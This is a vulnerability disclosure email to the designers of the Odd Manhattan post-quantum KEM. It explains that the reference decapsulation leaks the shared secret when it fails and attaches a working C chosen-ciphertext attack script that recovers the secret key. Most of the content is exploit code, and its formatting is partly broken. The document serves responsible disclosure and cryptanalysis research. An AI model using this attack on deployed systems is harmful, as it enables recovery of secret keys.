Dear Thomas, dear all,

The current reference implementation of Odd Manhattan fails to achieve CCA security. Indeed, even though the implementation re-encrypts during decapsulation, in case of failure, it sets the return flag to -1 *without modifying* the shared secret ss. It is therefore possible to run a CCA attack where one discards the return flag and exploits what is in ss to guess the secret key.

Find attached an attack script to be put in the Reference_Implementation directory and to run as follows:

```
$ gcc -Ofast -DNDEBUG -lcrypto -lgmp attack.c rng.c kem.c -o attack
$ ./attack
```

This attack can be avoided if proper action is taken in case of failure.

Kind regards,
Tancrède Lepoint.

PS: As a side remark, only the first P bytes of the secret key are used during decapsulation, hence Section 4.2 of Algorithm_Specifications.pdf could be revisited.
// Run the attack as follows:
// $ gcc -Ofast -DNDEBUG -lcrypto -lgmp attack.c rng.c kem.c -o attack
// $ ./attack

#include <stdio.h>
#include <string.h>
#include "api.h"
#include "assert.h"
#include "gmp.h"
#include "rng.h"

/// global variables
unsigned char pk[CRYPTO_PUBLICKEYBYTES], sk[CRYPTO_SECRETKEYBYTES];
unsigned char ss0[CRYPTO_BYTES];
unsigned char ss1[CRYPTO_BYTES];

/// CCA oracle
int oracle_dec(unsigned char* ct) {  
  unsigned char ss[CRYPTO_BYTES];
  int ret = crypto_kem_dec(ss, ct, sk);
  // we should have a CCA failure, but we ignore the return code :)
  assert(ret == -1);  
  // we should have ss == ss0 or ss == ss1
  assert(memcmp(ss, ss0, CRYPTO_BYTES) == 0 ||
         memcmp(ss, ss1, CRYPTO_BYTES) == 0);
  // return b where ss == ssb
  return (memcmp(ss, ss1, CRYPTO_BYTES) == 0);
}

/// Decrypt with guess (from kem.c)
int decrypt_with_guess(mpz_t ciphertext, mpz_t quotient, const mpz_t guess,  
                       const mpz_t det) {  
  int r0 = 0;
  mpz_mul(ciphertext, ciphertext, guess);
  mpz_mod(ciphertext, ciphertext, det);
  // Extract m
  mpz_add_ui(quotient, ciphertext, C / 2);
  if (mpz_sizeinbase(quotient, 2) >= N)  
    r0 += (char)(mpz_odd_p(ciphertext) == 0);  
  else
    r0 += (char)(mpz_even_p(ciphertext) == 0);  
  return r0;
}

int main() {  
  // Initialize randomness (attack should work for any value)
  unsigned char entropy_input[48];
  for (int i = 0; i < 48; i++) entropy_input[i] = i;
  randombytes_init(entropy_input, NULL, 256);

  // Get shared keys corresponding to
  // two target seeds: seed = 00...00 and seed = ff...ff00...00
  unsigned char seed[32];
  AES_XOF_struct ctx[1];
  unsigned char diversifier[8] = {0};
  unsigned long maxlen = 4294967295;
attack.c

```c
memset(seed, 0, 32);
seedexpander_init(ctx, seed, diversifier, maxlen);
memset(ss0, 0, CRYPTO_BYTES);
seedexpander(ctx, ss0, CRYPTO_BYTES);
memset(seed, 255, 16);
memset(seed + 16, 0, 16);
seedexpander_init(ctx, seed, diversifier, maxlen);
memset(ss1, 0, CRYPTO_BYTES);
seedexpander(ctx, ss1, CRYPTO_BYTES);

/// Generate key pair
crypto_kem_keypair(pk, sk);

/// Compute determinant
mpz_t det;
mpz_init(det);
mpz_ui_pow_ui(det, 2, N);
mpz_sub_ui(det, det, C);

/// Attack!
mpz_t guess, ciphertext, quotient;
mpz_inits(guess, ciphertext, quotient, NULL);
unsigned char ct[CRYPTO_CIPHERTEXTBYTES];
unsigned char expected = 0;
for (int i = 0; i < P; i++) {
    printf("%d/%d
", i + 1, P);
    for (int j = 0; j < 8; j++) {
        if (8 * i + j >= N) break; // we should have everything
        if (8 * i + j == 0) continue; // the attack starts at 1
        // set all ciphertexts to 2^(8i+j)
        mpz_set_ui(ciphertext, 0);
        mpz_setbit(ciphertext, i * 8 + j);
        // transform mpz_t into array of bytes
        memset(ct, 0, CRYPTO_CIPHERTEXTBYTES);
        for (int k = 0; k < CRYPTO_CIPHERTEXTBYTES / P; k++)
            mpz_export(&ct[k * P], NULL, -1, 1, -1, 0, ciphertext);
        // call oracle
        int b = oracle_dec(ct);
        if (b != expected) {
            // update our guess
            mpz_setbit(guess, N - 1 - (i * 8 + j));
        }
        // update the "expected" value
        mpz_clrbit(ciphertext, i * 8 + j);
        mpz_setbit(ciphertext, i * 8 + j + 1);
        expected = decrypt_with_guess(ciphertext, quotient, guess, det);
    }
}

/// Transform mpz_t into array of bytes
unsigned char guessed_sk[CRYPTO_SECRETKEYBYTES];
mpz_export(&guessed_sk, NULL, -1, 1, -1, 0, guess);

/// Success
if (memcmp(guessed_sk, sk, P) == 0) {
    printf("Success! The attack recovered the P first bytes of sk (which are the "}
```
"only ones used in crypto_kem_dec.");
} else {
    printf("Failure.\n");
    gmp_printf("guess = %Zd\n", guess);
    mpz_t secret_key;
    mpz_init(secret_key);
    mpz_import(secret_key, P, -1, 1, -1, 0, sk);
    gmp_printf("sk=%Zd\n", secret_key);
    gmp_printf("det=%Zd\n", det);
    mpz_clear(secret_key);
}

// OCD
mpz_clears(ciphertext, quotient, guess, det, NULL);

return 0;"